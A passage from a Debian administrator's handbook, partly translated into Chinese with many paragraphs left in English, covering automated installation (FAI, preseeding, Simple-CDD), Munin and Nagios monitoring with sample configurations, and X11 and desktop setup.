# rpm --nodeps --root "$rootdir" -i centos-release-7-9.2009.0.el7.centos.x86_64.rpm

rpm: RPM should not be used directly install RPM packages, use Alien instead!

rpm: However assuming you know what you are doing...

warning: centos-release-7-9.2009.0.el7.centos.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY

# sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo

# yum4 --assumeyes --installroot $rootdir groupinstall core

[...]

# sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo

# chroot /srv/centos/

[root@testsystem /]#

12.3. 自动安装

Falcot Corp 的管理员和许多大型 IT 服务的管理员一样，需要工具来快速安装（或重新安装）新计算机，如果可能，自动化。

These requirements can be met by a wide range of solutions. On the one hand, generic tools such as SystemImager handle this by creating an image based on a template machine, then deploy that image to the target systems; at the other end of the spectrum, the standard Debian installer can be preseeded with a configuration file giving the answers to the questions asked during the installation process. As a sort of middle ground, a hybrid tool such as FAI (Fully Automatic Installer) installs machines using the packaging system, but it also uses its own infrastructure for tasks that are more specific to massive deployments (such as starting, partitioning, configuration and so on).

Each of these solutions has its pros and cons: SystemImager works independently from any particular packaging system, which allows it to manage large sets of machines using several distinct Linux distributions. It also includes an update system that doesn't require a reinstallation, but this update system can only be reliable if the machines are not modified independently; in other words, the user must not update any software on their own, or install any other software. Similarly, security updates must not be automated, because they have to go through the centralized reference image maintained by SystemImager. This solution also requires the target machines to be homogeneous, otherwise many different images would have to be kept and managed (an amd64 image won't fit on a powerpc machine, and so on).

On the other hand, an automated installation using debian-installer can adapt to the specifics of each machine: the installer will fetch the appropriate kernel and software packages from the relevant repositories, detect available hardware, partition the whole hard disk to take advantage of all the available space, install the corresponding Debian system, and set up an appropriate bootloader. However, the standard installer will only install standard Debian versions, with the base system and a set of pre-selected “tasks”; this precludes installing a particular system with non-packaged applications. Fulfilling this particular need requires customizing the installer… Fortunately, the installer is very modular, and there are tools to automate most of the work required for this customization, most importantly simple-cdd (CDD being an acronym for Custom Debian Derivative). Even this solution, however, only handles initial installations; this is usually not a problem since the APT tools allow efficient deployment of updates later on.

We will only give a rough overview of FAI, and skip SystemImager altogether (which is no longer in Debian, but available as a third-party package), in order to focus more intently on debian-installer and simple-cdd, which are more interesting in a Debian-only context.

12.3.1. 全自动安装器 （FAI）

Fully Automatic Installer is probably the oldest automated deployment system for Debian, which explains its status as a reference; but its very flexible nature only just compensates for the complexity it involves.

FAI requires a server system to store deployment information and allow target machines to boot from the network. This server requires the fai-server package (or fai-quickstart, which also brings the required elements for a standard configuration).

FAI uses a specific approach for defining the various installable profiles. Instead of simply duplicating a reference installation, FAI is a full-fledged installer, fully configurable via a set of files and scripts stored on the server; the default location /srv/fai/config/ according to /etc/fai/nfsroot.conf is not automatically created, so the administrator needs to create it along with the relevant files. Most of the times, these files will be customized from the example files available in the documentation for the fai-doc package, more particularly the /usr/share/doc/fai-doc/examples/simple/ directory.

Once the profiles are defined, the fai-setup command generates the elements required to start an FAI installation; this mostly means preparing or updating a minimal system (NFS-root) used during installation. An alternative is to generate a dedicated boot CD with fai-cd.

创建所有这些配置文件需要对FAI的工作方式有一定的了解。一个典型的安装过程由以下步骤组成：

- 从网络获取内核并启动它;

- mounting the root filesystem from NFS;

- executing /usr/sbin/fai, which controls the rest of the process (the next steps are therefore initiated by this script);

- copying the configuration space from the server into /fai/;

- running fai-class. The /fai/class/[0-9][0-9]* scripts are executed in turn, and return names of “classes” that apply to the machine being installed; this information will serve as a base for the following steps. This allows for some flexibility in defining the services to be installed and configured.

- fetching a number of configuration variables, depending on the relevant classes;

- 根据 /fai/disk_config/class 中提供的信息，对磁盘进行分区和格式化；

- 安装所述分区;

- 安装基本系统;

- 使用 fai-debconf 预置 Debconf 数据库;

- 获取 APT 的可用包列表;

- 安装 /fai/package_config/类中列出的包;

- 执行配置后脚本，/fai/scripts/class/[0-9][0-9]*;

- 记录安装日志，卸载分区，并重新启动。

12.3.2. 预设值 Debian 安装

At the end of the day, the best tool to install Debian systems should logically be the official Debian installer. This is why, right from its inception, debian-installer has been designed for automated use, taking advantage of the infrastructure provided by debconf. The latter allows, on the one hand, to reduce the number of questions asked (hidden questions will use the provided default answer), and on the other hand, to provide the default answers separately, so that installation can be non-interactive. This last feature is known as preseeding.

进阶阅读 有中心数据库的 Debconf

Preseeding allows to provide a set of answers to Debconf questions at installation time, but these answers are static and do not evolve as time passes. Since already-installed machines may need upgrading, and new answers may become required, the /etc/debconf.conf configuration file can be set up so that Debconf uses external data sources (such as an LDAP directory server, or a remote file accessed via NFS or Samba). Several external data sources can be defined at the same time, and they complement one another. The local database is still used (for read-write access), but the remote databases are usually restricted to reading. The debconf.conf(5) manual page describes all the possibilities in detail (you need the debconf-doc package).

12.3.2.1. 使用预设值文件

安装程序可以在几个位置获取预置文件：

- in the initrd used to start the machine; in this case, preseeding happens at the very beginning of the installation, and all questions can be avoided. The file just needs to be called preseed.cfg and stored in the initrd root.

- on the boot media (CD or USB key); preseeding then happens as soon as the media is mounted, which means right after the questions about language and keyboard layout. The preseed/file boot parameter can be used to indicate the location of the preseeding file (for instance, /cdrom/preseed.cfg when the installation is done off a CD-ROM, or /hd-media/preseed.cfg in the USB-key case).

- from the network; preseeding then only happens after the network is (automatically) configured; the relevant boot parameter is then preseed/url=http://server/preseed.cfg (HTTPS, FTPS, SFTP, etc. are not supported).

At a glance, including the preseeding file in the initrd looks like the most interesting solution; however, it is rarely used in practice, because generating an installer initrd is rather complex. The other two solutions are much more common, especially since boot parameters provide another way to preseed the answers to the first questions of the installation process. The usual way to save the bother of typing these boot parameters by hand at each installation is to save them into the configuration for isolinux (in the CD-ROM case) or syslinux (USB key).

12.3.2.2. 创建一个预设值文件

预设值配置是一个纯文本文件，每一行有一个 Debconf 问题的答案。每行用空格（多个空格或 tab 键）分为四个段，例如：d-i mirror/suite string stable:

- 第一段是问题的“所有者”；“d-i”用于安装相关的问题，这个段也可以是问题来自的 Debian 包的包名；

- the second field is an identifier for the question (the template name);

- 第三段，问题的类型；

- 第四段和该行后续内容是答案的值。注意，第四段和第三段之间，必须是单个空格分隔；如果有多个空格，从接下来的空格字符开始，会被认为是值的一部分。

为安装一个系统写一个预配置文件，最简单的方法是手写。debconf-get-selections --installer将提供与安装相关的问题答案。其它包的答案可以通过debconf-get-selections获得。然而，手写一个预设值文件，一个干净的方法，是从一个例子和参考文档开始。使用这种方案，只有那些默认答案需要被覆盖的问题被预配置；使用 priority=critical 启动参数将指示 Debconf 只询问极严重的问题，其它问题用默认答案。

Pre-setting a value in a preseed file automatically instructs the Debian installer to not ask that question. This happens, because loading the preseed file does not just set the given value(s), but also marks each of the affected dialogs as “seen“ by the user. Thus it is possible to pre-set a question's value and still present the dialog to the user by resetting the “seen“ flag. Beware that order in this case matters and that the value has to be preseeded before setting the dialog to “unseen“ as shown in the following example:

d-i netcfg/hostname string worker

d-i netcfg/hostname seen false

文档 安装手册附录

The installation guide, available online, includes detailed documentation on the use of a preseed file in an appendix. It also includes a detailed and commented sample file, which can serve as a base for local customizations. There are also collections of all debconf templates extracted from each component and suite of Debian:

→ https://www.debian.org/releases/stable/amd64/apb

→ https://www.debian.org/releases/stable/example-preseed.txt

→ https://preseed.debian.net/

Preseeding an installation is often not as straightforward as one would wish. It sometimes requires to understand how packages process the given values in their scripts. Don't hesitate to ask on the <debian-cd@lists.debian.org> mailing list or in the #debian-cd IRC channel if you require help. Also be aware that some complex setups still cannot be achieved by preseeding.

12.3.2.3. 创建自定义启动媒体

Knowing where to store the preseed file is all very well, but the location isn't everything: one must, one way or another, alter the installation boot media to change the boot parameters and add the preseed file.

12.3.2.3.1. 从网络启动

When a computer is booted from the network, the server sending the initialization elements also defines the boot parameters. Thus, the change needs to be made in the PXE configuration for the boot server; more specifically, in its /tftpboot/pxelinux.cfg/default configuration file. Setting up network boot is a prerequisite; see the Installation Guide for details.

→ https://www.debian.org/releases/stable/amd64/ch04s05

12.3.2.3.2. 准备可引导 USB 密钥

Once a bootable key has been prepared (see 第 4.1.2 节 “从U盘引导”), a few extra operations are needed. Assuming the key contents are available under /media/usbdisk/, copy the preseed file to /media/usbdisk/preseed.cfg.

If you have been using a hybrid ISO image to create the bootable USB stick, then you have to edit /media/usbdisk/boot/grub/grub.cfg (for the EFI boot screen):

例 12.2. boot/grub/grub.cfg file and preseeding parameters

menuentry --hotkey=i 'Install' {

set background_color=black

linux    /install.amd/vmlinuz preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 --- quiet

initrd   /install.amd/initrd.gz

}

And you have to edit /media/usbdisk/isolinux/isolinux.cfg (for BIOS boot) or one of the files it utilizes - e.g. /media/usbdisk/isolinux/txt.cfg - to add required boot parameters:

例 12.3. isolinux/txt.cfg file and preseeding parameters

label install

menu label ^Install

kernel [...]

append preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=/install.amd/initrd.gz --- quiet

If you have been using the hd-media installer image for a custom USB stick, edit /media/usbdisk/syslinux.cfg and add the required boot parameters as shown in the example below:

例 12.4. syslinux.cfg 文件和预置参数

default vmlinuz

append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=initrd.gz  --

12.3.2.3.3. 创建一个 CD-ROM 镜像

A USB key is a read-write media, so it was easy for us to add a file there and change a few parameters. In the CD-ROM case, the operation is more complex, since we need to regenerate a full ISO image. This task is handled by debian-cd, but this tool is rather awkward to use: it needs a local mirror, and it requires an understanding of all the options provided by /usr/share/debian-cd/CONF.sh; even then, make must be invoked several times. /usr/share/debian-cd/README is therefore a very recommended read.

Having said that, debian-cd always operates in a similar way: an “image” directory with the exact contents of the CD-ROM is generated, then converted to an ISO file with a tool such as genisoimage, mkisofs or xorriso. The image directory is finalized after debian-cd's make image-trees step. At that point, we insert the preseed file into the appropriate directory (usually $TDIR/$CODENAME/CD1/, $TDIR and $CODENAME being parameters defined by the CONF.sh configuration file). The CD-ROM uses isolinux as its bootloader, and its configuration file must be adapted from what debian-cd generated, in order to insert the required boot parameters (the specific files are $TDIR/$CODENAME/CD1/isolinux/isolinux.cfg and $TDIR/$CODENAME/CD1/boot/grub/grub.cfg as shown above). Then the “normal” process can be resumed, and we can go on to generating the ISO image with make image CD=1 (or make images if several CD-ROMs are generated).

12.3.3. Simple-CDD: The All-In-One Solution

Simply using a preseed file is not enough to fulfill all the requirements that may appear for large deployments. Even though it is possible to execute a few scripts at the end of the normal installation process, the selection of the set of packages to install is still not quite flexible (basically, only “tasks” can be selected); more important, this only allows installing official Debian packages, and precludes locally-generated ones.

On the other hand, debian-cd is able to integrate external packages, and debian-installer can be extended by inserting new steps in the installation process. By combining these capabilities, it should be possible to create a customized installer that fulfills our needs; it should even be able to configure some services after unpacking the required packages. Fortunately, this is not a mere hypothesis, since this is exactly what simple-cdd does.

The purpose of this tool is to allow anyone to easily create a distribution derived from Debian, by selecting a subset of the available packages, preconfiguring them with Debconf, adding specific software, and executing custom scripts at the end of the installation process. This matches the “universal operating system” philosophy, since anyone can adapt it to their own needs.

12.3.3.1. 创建配置文件

Simple-CDD defines “profiles” that match the FAI “classes” concept, and a machine can have several profiles (determined at installation time). A profile is defined by a set of profiles/profile.* files:

- the .description file contains a one-line description for the profile;

- .packages 文件列出了如果选择了配置文件，将自动安装的包;

- .downloads 文件列出了将存储在安装介质中但不一定安装的包;

- .preseed 文件包含 Debconf 问题（安装程序和/或包）的预置信息;

- .postinst 文件包含将在安装过程结束时运行的脚本;

- lastly, the .conf file allows changing some parameters based on the profiles to be included in an image.

The default profile has a particular role, since it is always selected; it contains the bare minimum required for Simple-CDD to work. The only thing that is usually customized in this profile is the simple-cdd/profiles preseed parameter: this allows avoiding the question, introduced by Simple-CDD, about what profiles to install.

还需要注意的是，这些命令需要从 profile目录的父目录中调用。

12.3.3.2. 配置和使用 build-simple-cdd

速览详细配置文件

An example of a Simple-CDD configuration file, with most possible parameters, is included in the package (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed). This can be used as a starting point when creating a custom configuration file. Unfortunately not everything is documented there, so some variables are only listed and explained in /usr/lib/python3/dist-packages/simple_cdd/variables.py.

It is further important to familiarize yourself with the variables understood by /usr/share/debian-cd/CONF.sh.

Simple-CDD requires many parameters to operate fully. They will most often be gathered in a configuration file, which build-simple-cdd can be pointed at with the --conf option, but they can also be specified via dedicated parameters given to build-simple-cdd. Here is an overview of how this command behaves, and how its parameters are used:

- the profiles parameter lists the profiles that will be included on the generated CD-ROM image;

- based on the list of required packages, Simple-CDD downloads the appropriate files from the server mentioned in server, and gathers them into a partial mirror (which will later be given to debian-cd);

- local_packages 中提到的自定义包也被集成到这个本地镜像中;

- debian-cd is then executed (within a default location that can be configured with the debian_cd_dir variable), with the list of packages to integrate;

- 一旦 debian-cd 准备好了它的目录，Simple-CDD 就会对这个目录进行一些修改：

- files containing the profiles are added in a simple-cdd subdirectory (that will end up on the CD-ROM);

- other files listed in the all_extras parameter are also added;

- the boot parameters are adjusted so as to enable the preseeding. Questions concerning language and country can be avoided if the required information is stored in the language and country variables.

- debian-cd 将产生最终的 ISO 镜像。

12.3.3.3. 生成 ISO 镜像

Once we have written a configuration file and defined our profiles, the remaining step is to invoke build-simple-cdd --conf simple-cdd.conf. After a few minutes, we get the required image in images/debian-11-amd64-CD-1.iso.

12.4. 监控

监视是一个通用术语，所涉及的各种活动有几个目标：一方面，在使用机器提供的资源后，可以预测饱和度和随后的所需升级;另一方面，一旦服务不可用或无法正常工作，就提醒管理员意味着可以更快地修复所发生的问题。

Munin covers the first area, by displaying graphical charts for historical values of a number of parameters (used RAM, occupied disk space, processor load, network traffic, Apache/MySQL load, and so on). Nagios covers the second area, by regularly checking that the services are working and available, and sending alerts through the appropriate channels (e-mails, text messages, and so on). Both have a modular design, which makes it easy to create new plug-ins to monitor specific parameters or services.

替代方案 Zabbix，集成监控工具

Although Munin and Nagios are in very common use, they are not the only players in the monitoring field, and each of them only handles half of the task (graphing on one side, alerting on the other). Zabbix, on the other hand, integrates both parts of monitoring; it also has a web interface for configuring the most common aspects. It has grown by leaps and bounds during the last few years, and can now be considered a viable contender. On the monitoring server, you would install zabbix-server-pgsql (or zabbix-server-mysql), possibly together with zabbix-frontend-php to have a web interface. On the hosts to monitor you would install zabbix-agent feeding data back to the server.

→ https://zabbix.com/

替代方案Nagios 派生出的 Icinga

Spurred by divergences in opinions concerning the development model for Nagios (which is controlled by a company), a number of developers forked Nagios and use Icinga as their new name. Icinga is still compatible — so far — with Nagios configurations and plugins, but it also adds extra features.

→ https://icinga.com/

12.4.1. 搭建 Munin

The purpose of Munin is to monitor many machines; therefore, it quite naturally uses a client/server architecture. The central host — the grapher — collects data from all the monitored hosts, and generates historical graphs.

12.4.1.1. 配置监控主机

The first step is to install the munin-node package. The daemon installed by this package listens on port 4949 and sends back the data collected by all the active plugins. Each plugin is a simple program returning a description of the collected data as well as the latest measured value. Plugins are stored in /usr/share/munin/plugins/, but only those with a symbolic link in /etc/munin/plugins/ are really used.

When the package is installed, a set of active plugins is determined based on the available software and the current configuration of the host. However, this auto-configuration depends on a feature that each plugin must provide, and it is usually a good idea to review and tweak the results by hand. Browsing the Plugin Gallery can be interesting even though not all plugins have comprehensive documentation.

→ https://gallery.munin-monitoring.org

However, all plugins are scripts and most are rather simple and well-commented. Browsing /etc/munin/plugins/ is therefore a good way of getting an idea of what each plugin is about and determining which should be removed. Similarly, enabling an interesting plugin found in /usr/share/munin/plugins/ is a simple matter of setting up a symbolic link with ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/. Note that when a plugin name ends with an underscore “_”, the plugin requires a parameter. This parameter must be stored in the name of the symbolic link; for instance, the “if_” plugin must be enabled with a if_eth0 symbolic link, and it will monitor network traffic on the eth0 interface.

Once all plugins are correctly set up, the daemon configuration must be updated to describe access control for the collected data. This involves allow directives in the /etc/munin/munin-node.conf file. The default configuration is allow ^127\.0\.0\.1$, and only allows access to the local host. An administrator will usually add a similar line containing the IP address of the grapher host, then restart the daemon with systemctl restart munin-node.

进阶阅读 创建本地插件

Munin does include detailed documentation on how plugins should behave, and how to develop new plugins.

→ https://guide.munin-monitoring.org/en/latest/plugin/writing.html

A plugin is best tested when run in the same conditions as it would be when triggered by munin-node; this can be simulated by running munin-run plugin as root. A potential second parameter given to this command (such as config) is passed to the plugin as a parameter.

When a plugin is invoked with the config parameter, it must describe itself by returning a set of fields:

# munin-run load config

graph_title Load average

graph_args --base 1000 -l 0

graph_vlabel load

graph_scale no

graph_category system

load.label load

graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately").

load.info 5 minute load average

The various available fields are described by the “Plugin reference” available as part of the “Munin guide”.

→ https://munin.readthedocs.org/en/latest/reference/plugin.html

When invoked without a parameter, the plugin simply returns the last measured values; for instance, executing sudo munin-run load could return load.value 0.12.

Finally, when a plugin is invoked with the autoconf parameter, it should return “yes” (and a 0 exit status) or “no” (with a 1 exit status) according to whether the plugin should be enabled on this host.

12.4.1.2. 配置 Grapher

The “grapher” is simply the computer that aggregates the data and generates the corresponding graphs. The required software is in the munin package. The standard configuration runs munin-cron (once every 5 minutes), which gathers data from all the hosts listed in /etc/munin/munin.conf (only the local host is listed by default), saves the historical data in RRD files (Round Robin Database, a file format designed to store data varying in time) stored under /var/lib/munin/ and generates an HTML page with the graphs in /var/cache/munin/www/.

All monitored machines must therefore be listed in the /etc/munin/munin.conf configuration file. Each machine is listed as a full section with a name matching the machine and at least an address entry giving the corresponding IP address.

[ftp.falcot.com]

address 192.168.0.12

use_node_name yes

Sections can be more complex, and describe extra graphs that could be created by combining data coming from several machines. The samples provided in the configuration file are good starting points for customization.

The last step is to publish the generated pages; this involves configuring a web server so that the contents of /var/cache/munin/www/ are made available on a website. Access to this website will often be restricted, using either an authentication mechanism or IP-based access control. See 第 11.2 节 “Web 服务器（HTTP）” for the relevant details.

12.4.2. 搭建 Nagios

Unlike Munin, Nagios does not necessarily require installing anything on the monitored hosts; most of the time, Nagios is used to check the availability of network services. For instance, Nagios can connect to a web server and check that a given web page can be obtained within a given time.

12.4.2.1. 安装

The first step in setting up Nagios is to install the nagios4 and monitoring-plugins packages. Installing the packages configures the web interface and the Apache server. The authz_groupfile and auth_digest Apache modules must be enabled, for that execute:

# a2enmod authz_groupfile

Considering dependency authz_core for authz_groupfile:

Module authz_core already enabled

Module authz_core already enabled

Enabling module authz_groupfile.

To activate the new configuration, you need to run:

systemctl restart apache2

# a2enmod auth_digest

Considering dependency authn_core for auth_digest:

Module authn_core already enabled

Enabling module auth_digest.

To activate the new configuration, you need to run:

systemctl restart apache2

# systemctl restart apache2

Adding other users is a simple matter of inserting them in the /etc/nagios4/hdigest.users file.

Pointing a browser at http://server/nagios4/ displays the web interface; in particular, note that Nagios already monitors some parameters of the machine where it runs. However, some interactive features such as adding comments to a host do not work. These features are disabled in the default configuration for Nagios, which is very restrictive for security reasons.

Enabling some features involves editing /etc/nagios4/nagios.cfg. We also need to set up write permissions for the directory used by Nagios, with commands such as the following:

# systemctl stop nagios4

# dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios4/rw

# dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios4

# systemctl start nagios4

12.4.2.2. 配置

The Nagios web interface is rather nice, but it does not allow configuration, nor can it be used to add monitored hosts and services. The whole configuration is managed via files referenced in the central configuration file, /etc/nagios4/nagios.cfg.

These files should not be dived into without some understanding of the Nagios concepts. The configuration lists objects of the following types:

- a host is a machine to be monitored;

- a hostgroup is a set of hosts that should be grouped together for display, or to factor some common configuration elements;

- a service is a testable element related to a host or a host group. It will most often be a check for a network service, but it can also involve checking that some parameters are within an acceptable range (for instance, free disk space or processor load);

- a servicegroup is a set of services that should be grouped together for display;

- a contact is a person who can receive alerts;

- a contactgroup is a set of such contacts;

- a timeperiod is a range of time during which some services have to be checked;

- a command is the command line invoked to check a given service.

According to its type, each object has a number of properties that can be customized. A full list would be too long to include, but the most important properties are the relations between the objects.

A service uses a command to check the state of a feature on a host (or a hostgroup) within a timeperiod. In case of a problem, Nagios sends an alert to all members of the contactgroup linked to the service. Each member is sent the alert according to the channel described in the matching contact object.

An inheritance system allows easy sharing of a set of properties across many objects without duplicating information. Moreover, the initial configuration includes a number of standard objects; in many cases, defining new hosts, services and contacts is a simple matter of deriving from the provided generic objects. The files in /etc/nagios4/conf.d/ are a good source of information on how they work.

The Falcot Corp administrators use the following configuration:

例 12.5. /etc/nagios4/conf.d/falcot.cfg file

define contact{

name                            generic-contact

service_notification_period     24x7

host_notification_period        24x7

service_notification_options    w,u,c,r

host_notification_options       d,u,r

service_notification_commands   notify-service-by-email

host_notification_commands      notify-host-by-email

register                        0 ; Template only

}

define contact{

use             generic-contact

contact_name    rhertzog

alias           Raphael Hertzog

email           hertzog@debian.org

}

define contact{

use             generic-contact

contact_name    rmas

alias           Roland Mas

email           lolando@debian.org

}

define contactgroup{

contactgroup_name     falcot-admins

alias                 Falcot Administrators

members               rhertzog,rmas

}

define host{

use                   generic-host ; Name of host template to use

host_name             www-host

alias                 www.falcot.com

address               192.168.0.5

contact_groups        falcot-admins

hostgroups            debian-servers,ssh-servers

}

define host{

use                   generic-host ; Name of host template to use

host_name             ftp-host

alias                 ftp.falcot.com

address               192.168.0.12

contact_groups        falcot-admins

hostgroups            debian-servers,ssh-servers

}

# 'check_ftp' command with custom parameters

define command{

command_name          check_ftp2

command_line          /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35

}

# Generic Falcot service

define service{

name                  falcot-service

use                   generic-service

contact_groups        falcot-admins

register              0

}

# Services to check on www-host

define service{

use                   falcot-service

host_name             www-host

service_description   HTTP

check_command         check_http

}

define service{

use                   falcot-service

host_name             www-host

service_description   HTTPS

check_command         check_https

}

define service{

use                   falcot-service

host_name             www-host

service_description   SMTP

check_command         check_smtp

}

# Services to check on ftp-host

define service{

use                   falcot-service

host_name             ftp-host

service_description   FTP

check_command         check_ftp2

}

This configuration file describes two monitored hosts. The first one is the web server, and the checks are made on the HTTP (80) and secure-HTTP (443) ports. Nagios also checks that an SMTP server runs on port 25. The second host is the FTP server, and the check includes making sure that a reply comes within 20 seconds. Beyond this delay, a warning is emitted; beyond 30 seconds, the alert is deemed critical. The Nagios web interface also shows that the SSH service is monitored: this comes from the hosts belonging to the ssh-servers hostgroup. The matching standard service is defined in /etc/nagios4/conf.d/services_nagios2.cfg.

Note the use of inheritance: an object is made to inherit from another object with the “use parent-name”. The parent object must be identifiable, which requires giving it a “name identifier” property. If the parent object is not meant to be a real object, but only to serve as a parent, giving it a “register 0” property tells Nagios not to consider it, and therefore to ignore the lack of some parameters that would otherwise be required.

DOCUMENTATION List of object properties

A more in-depth understanding of the various ways in which Nagios can be configured can be obtained from the documentation hosted on https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/. It includes a list of all object types, with all the properties they can have. It also explains how to create new plugins.

进阶阅读使用 NRPE 进行远程测试

Many Nagios plugins allow checking some parameters local to a host; if many machines need these checks while a central installation gathers them, the NRPE (Nagios Remote Plugin Executor) plugin needs to be deployed. The nagios-nrpe-plugin package needs to be installed on the Nagios server, and nagios-nrpe-server on the hosts where local tests need to run. The latter gets its configuration from /etc/nagios/nrpe.cfg. This file should list the tests that can be started remotely, and the IP addresses of the machines allowed to trigger them. On the Nagios side, enabling these remote tests is a simple matter of adding matching services using the new check_nrpe command.

第 13 章 工作站

现在服务器已经部署完毕，管理员可以集中精力单独安装并配置典型工作站了。

13.1. 配置 X11 服务

A brief reminder: X.org is the software component that allows graphical applications to display windows on screen. It includes a driver that makes efficient use of the video card. The features offered to the graphical applications are exported through a standard interface, X11 (Bullseye contains version X11R7.7).

观点 X11, XFree86 and X.org

X11 是在类 Unix 系统上应用最为广泛的图形系统（还有 Windows 和 Mac OS）。严格来说，“X11”术语仅涉及协议规范，但是也用于描述执行方法。

X11 had a rough start, but the 1990s saw XFree86 emerge as the reference implementation because it was free software, portable, and maintained by a collaborative community. However, the rate of evolution slowed down near the end when the software only gained new drivers. That situation, along with a very controversial license change, led to the X.org fork in 2004. This is now the reference implementation, and Debian Bullseye uses X.org version 7.7.

Current versions of X.org are able to auto-detect the available hardware: this applies to the video card and the monitor, as well as keyboards and mice; in fact, it is so convenient that the package no longer even creates a /etc/X11/xorg.conf configuration file.

键盘的配置保存在 /etc/default/keyboard。该文件用于配置文本控制台也用于图形界面，由keyboard-configuration 处理。配置键盘布局的细节在第 8.1.2 节 “键盘配置”中。

xserver-xorg-core 软件包提供X.org 7.x系列的通用X 服务。该服务是模块化的并使用一套相互独立的驱动来处理很多不同类型的显卡。安装 xserver-xorg 确保服务和至少一种显卡驱动被安装。

Note that if the detected video card is not handled by any of the available drivers, X.org tries using the vesa and fbdev drivers. VESA is a generic driver that should work everywhere, but with limited capabilities (fewer available resolutions, no hardware acceleration for games and visual effects for the desktop, and so on) while fbdev works on top of the kernel's framebuffer device. Nowadays the X server can run without any administrative privileges (this used to be required to be able to configure the screen) and its log file is then stored in the user's home directory in ~/.local/share/xorg/Xorg.0.log, whereas it is /var/log/Xorg.0.log for X servers started with root privileges and for versions older than Debian 9 Stretch. That log file is where one would look to know what driver is currently in use. For example, the following snippet matches what the intel driver outputs when it is loaded:

(==) Matched nouveau as autoconfigured driver 0

(==) Matched modesetting as autoconfigured driver 1

(==) Matched fbdev as autoconfigured driver 2

(==) Matched vesa as autoconfigured driver 3

(==) Assigned the driver to the xf86ConfigLayout

(II) LoadModule: "intel"

(II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so

(II) Module intel: vendor="X.Org Foundation"

其他 专利驱动

Some video card makers (most notably NVIDIA) refuse to publish the hardware specifications that would be required to implement good free drivers. They do, however, provide proprietary drivers that allow using their hardware. This policy is nefarious, because even when the provided driver exists, it is usually not as polished as it should be; more importantly, it does not necessarily follow the X.org updates, which may prevent the latest available driver from loading correctly (or at all). We cannot condone this behavior, and we recommend you avoid these makers and favor more cooperative manufacturers.

如果你还是使用了这样的显卡，就需要使用 non-free 中的软件包： nvidia-glx 用于 NVDIA 显卡， fglrx-driver 用于ATI 显卡。两者都需要与之相匹配的内核。这些模块可以通过安装 nvidia-kernel-dkms ( nVidia), 或 fglrx-modules-dkms (ATI)自动创建。

The nouveau project aims to develop a free software driver for NVIDIA cards and is the default driver that you get for those cards in Debian. In general, its feature set and performance do not match the proprietary driver. In the developers' defense, we should mention that the required information can only be gathered by reverse engineering, which makes things difficult. The free drivers for ATI video cards, called radeon and amdgpu, are much better in that regard although it often requires non-free firmware from the firmware-amd-graphics package.

13.2. 定制图形界面

13.2.1. 选择显示管理器

The graphical interface only provides display space. Running the X server by itself only leads to an empty screen, which is why most installations use a display manager to display a user authentication screen and start the graphical desktop once the user has authenticated. The three most popular display managers in current use are gdm3 (GNOME Display Manager), sddm (suggested for KDE Plasma) and lightdm (Light Display Manager). More alternatives exist and can be found by searching for the x-display-manager virtual package.

Since the Falcot Corp administrators have opted to use the GNOME desktop environment, they logically picked gdm3 as a display manager too. The /etc/gdm3/daemon.conf configuration file has many options (the list can be found in the /usr/share/gdm/gdm.schemas schema file) to control its behavior while /etc/gdm3/greeter.dconf-defaults contains settings for the greeter “session” (more than just a login window, it is a limited desktop with power management and accessibility related tools). Note that some of the most useful settings for end-users can be tweaked with GNOME's control center.

13.2.2. 选择窗口管理器

既然每个图形桌面提供自己的窗口管理器，选择了前者也就意味着选择了后者。GNOME 使用 mutter 窗口管理器，KDE 使用kwin，而Xfce （随后会提到）是 xfwm。Unix 的哲学是允许自己选择窗口管理器，但是按照推荐配置，管理员能充分利用每个项目集成而带来的优势。

回到基础 窗口管理器

窗口管理器装饰当前运行程序的窗口，包括框架和标题栏。也允许减小，恢复，最大化，和隐藏窗口。大多数窗口管理器提供弹出菜单。这些弹出菜单提供了关闭窗口会话，启动新程序的方法，或者切换到其他的窗口管理器（如果已经安装了）。

Older computers may, however, have a hard time running heavyweight graphical desktop environments. In these cases, a lighter alternative (search for the x-window-manager virtual package) should be used. “Light” (or small footprint) window managers include WindowMaker (in the wmaker package), afterstep, icewm, blackbox, fluxbox, or openbox. In these cases, the system should be configured so that the appropriate window manager gets precedence; the standard way is to change the x-window-manager alternative with the command update-alternatives --config x-window-manager.

DEBIAN 特性 选择

Debian 政策列出了一系列标准命令来运行特殊命令。例如， x-window-manager 唤起窗口管理器。但是Debian 并没用将该命令指派给某个固定的窗口管理器。管理员可以选择唤起哪个管理器。

对于每种窗口管理器，相关软件包会注册 x-window-manager 命令选项连同一个相关的优先级。通过管理员显示指定，该优先级允许挑选最优的窗口管理器。

Both the registration of commands and the explicit configuration involve the update-alternatives script. Choosing where a symbolic command points at is a simple matter of running update-alternatives --config symbolic-command. This script creates (and maintains) symbolic links in the /etc/alternatives/ directory, which in turn references the location of the executable. As time passes, packages are installed or removed, and/or the administrator makes explicit changes to the configuration. When a package providing an alternative is removed, the alternative automatically goes to the next best choice among the remaining possible commands.

Debian 政策中并没有列出所有的符号命令；有些Debian 软件包的维护者故意选择这种并不直接的机制，它提供了很有趣的灵活性（例子包括 x-www-browser，www-browser，cc，c++，awk，等）。

13.2.3. 菜单管理

Modern desktop environments and many window managers provide menus listing the available applications for the user. In order to keep menus up-to-date in relation to the actual set of available applications, each package usually provides a .desktop file in /usr/share/applications. The format of those files has been standardized by FreeDesktop.org:

→ https://specifications.freedesktop.org/desktop-entry-spec/latest/

